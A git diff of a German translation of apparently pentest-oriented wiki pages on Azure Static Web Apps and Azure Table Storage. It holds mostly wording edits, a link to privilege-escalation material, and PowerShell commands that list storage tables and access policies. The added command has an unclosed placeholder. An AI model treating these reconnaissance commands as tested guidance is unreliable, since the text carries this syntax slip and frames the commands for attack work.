2. Erstellen Sie im Azure-Portal eine Static Web App, indem Sie den Zugriff auf GitHub konfigurieren und das zuvor geforkte neue Repository auswählen
|
||||
@@ -117,7 +174,7 @@ Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung im folgenden
|
||||
|
||||
## Privilegieneskalation und Post-Exploitation
|
||||
|
||||
Alle Informationen zur Privilegieneskalation und Post-Exploitation in Azure Static Web Apps finden Sie im folgenden Link:
|
||||
Alle Informationen zur Privilegieneskalation und Post-Exploitation in Azure Static Web Apps finden Sie unter folgendem Link:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-privesc.md
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten konzipiert ist. Er bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und Shared Access Signatures für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist.
|
||||
**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten konzipiert ist. Es bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und Shared Access Signatures für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist.
|
||||
|
||||
Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher.
|
||||
Es **gibt keinen integrierten Backup-Mechanismus** für die Tabellenspeicherung.
|
||||
|
||||
### Schlüssel
|
||||
|
||||
@@ -20,7 +20,7 @@ Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher.
|
||||
- Der **RowKey ist der eindeutige Identifikator** für eine Entität innerhalb einer Partition. In Kombination mit dem PartitionKey stellt er sicher, dass jede Entität in der Tabelle einen global eindeutigen Identifikator hat.
|
||||
- Beispiel: Für die Partition `"HR"` könnte der `RowKey` eine Mitarbeiter-ID sein, z.B. `"12345"`.
|
||||
|
||||
#### **Weitere Eigenschaften (Benutzerdefinierte Eigenschaften)**
|
||||
#### **Andere Eigenschaften (Benutzerdefinierte Eigenschaften)**
|
||||
|
||||
- Neben dem PartitionKey und RowKey kann eine Entität zusätzliche **benutzerdefinierte Eigenschaften zur Speicherung von Daten** haben. Diese sind benutzerdefiniert und fungieren wie Spalten in einer traditionellen Datenbank.
|
||||
- Eigenschaften werden als **Schlüssel-Wert-Paare** gespeichert.
|
||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
|
||||
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Reference in New Issue
Block a user